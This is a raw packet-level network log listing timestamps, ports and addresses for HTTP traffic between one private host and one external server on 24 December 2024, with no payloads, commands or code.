Dec 24, 2024 12:39:29.984649897 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:29.984702110 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:29.985651970 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:29.985774040 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:29.985819101 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:29.986784935 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:29.986877918 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:29.986922979 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:29.987950087 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:29.988082886 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:29.988137007 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:29.988837957 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:29.989034891 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:29.989175081 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:29.989221096 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:29.990165949 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:29.990397930 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:29.990503073 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:29.991331100 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:29.991436005 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:29.991487026 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:29.992523909 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:29.992671013 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:29.992718935 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:29.993567944 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:29.993611097 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:29.993654966 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:29.994784117 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:29.995033026 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:29.995102882 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:29.995850086 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:29.996016026 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:29.996067047 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:29.997026920 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:29.997149944 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:29.997260094 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:29.998127937 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:29.998274088 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:29.998327971 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:29.999242067 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:29.999385118 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:29.999444008 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.000710964 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.000845909 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.000950098 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.001631021 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.001789093 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.001842022 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.002633095 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.002975941 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.003034115 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.003765106 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.003906012 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.003956079 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.004900932 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.005057096 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.005111933 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.006031990 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.006087065 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.006134033 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.007162094 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.007276058 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.007343054 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.008330107 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.008459091 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.008512020 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.009433031 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.009517908 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.009576082 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.010560036 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.010771990 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.010818958 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.011687040 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.011862993 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.012377024 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.012800932 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.012943029 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.012994051 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.013947010 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.055891037 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.146739960 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.146971941 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.147114038 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.147247076 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.147501945 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.147557974 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.147567034 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.148628950 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.148679018 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.148745060 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.149795055 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.149848938 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.149873018 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.150955915 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.151029110 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.151057959 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.152043104 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.152096033 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.152160883 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.153203964 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.153269053 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.153294086 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.154350042 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.154433966 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.154473066 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.155443907 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.155498028 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.155531883 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.156546116 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.156588078 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.156660080 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.157764912 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.157828093 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.157840014 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.158807993 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.158868074 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.158901930 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.160022974 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.160093069 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.160217047 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.161088943 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.161132097 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.161189079 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.162240028 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.162303925 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.162377119 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.163364887 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.163413048 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.163418055 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.164518118 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.164566994 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.164586067 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.165617943 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.165671110 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.165715933 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.166821957 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.166868925 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.166877031 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.167875051 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.167948961 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.167960882 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.169002056 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.169039965 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.169086933 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.170156956 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.170202017 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.170209885 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.171514034 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.171576023 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.171639919 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.172482014 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.172528028 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.172538042 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.173559904 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.173666000 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.173675060 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.174654007 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.174738884 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.174778938 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.175811052 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.175942898 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.176026106 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.176995993 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.177067995 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.177068949 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.178092003 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.178149939 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.178240061 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.179254055 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.179311037 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.179368019 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.180355072 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.180425882 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.180460930 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.181466103 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.181565046 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.181598902 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.182673931 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.182750940 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.182827950 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.183765888 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.183830976 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.183840036 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.184859037 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.184995890 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.185044050 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.185996056 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.186045885 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.186055899 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.187119961 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.187212944 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.187222958 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.188262939 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.188309908 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.188344002 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.189398050 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.189491034 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.189563990 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.190521955 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.190587044 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.190654039 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.191703081 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.191845894 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.192791939 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.192887068 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.193012953 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.193903923 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.193962097 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.194020033 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.195064068 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.195115089 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.195195913 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.196186066 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.196259975 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.196276903 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.197293997 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.197356939 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.197395086 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.198421001 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.198471069 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.198549032 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.199567080 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.199615002 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.199651003 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.200738907 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.200797081 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.200818062 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.201867104 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.201925993 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.202012062 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.203001976 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.203115940 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.203162909 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.204103947 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.204185009 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.204216957 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.205353975 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.205426931 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.205471039 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.254137993 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.339371920 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.339575052 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.339720011 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.339817047 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.339937925 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.340038061 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.340972900 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.341078997 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.341136932 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.342122078 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.342200994 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.342256069 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.343234062 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.343331099 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.343374968 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.344374895 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.344479084 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.344624043 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.345536947 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.345627069 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.345679045 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.346618891 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.346724033 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.346771955 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.347775936 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.347856045 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.347912073 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.348938942 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.349055052 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.349214077 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.353148937 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.430238962 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.472651958 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.472660065 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.472882032 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.473261118 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.473355055 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.473455906 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.474365950 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.474432945 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.474648952 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.475505114 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.475646019 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.475704908 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.476587057 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.476685047 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.477638960 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.477726936 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.477842093 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.477896929 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.478940010 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.479034901 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.479149103 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.479969025 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.480087996 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.480144978 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.481112957 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.481257915 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.481309891 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.482259035 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.482333899 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.482446909 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.483402967 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.483481884 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.483553886 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.484510899 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.484636068 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.484692097 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.485723019 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.485878944 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.485937119 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.486886024 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.486924887 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.486977100 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.487926960 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.488019943 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.488116980 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.489049911 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.489187002 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.489249945 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.490180016 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.490315914 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.490372896 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.491534948 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.491635084 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.491712093 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.492474079 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.492607117 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.492716074 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.493653059 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.493659019 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.493724108 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.494668961 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.494856119 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.494920015 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.550075054 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.550231934 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.550328016 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.550543070 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.550565958 CET	80	49727	185.215.113.16	192.168.2.5
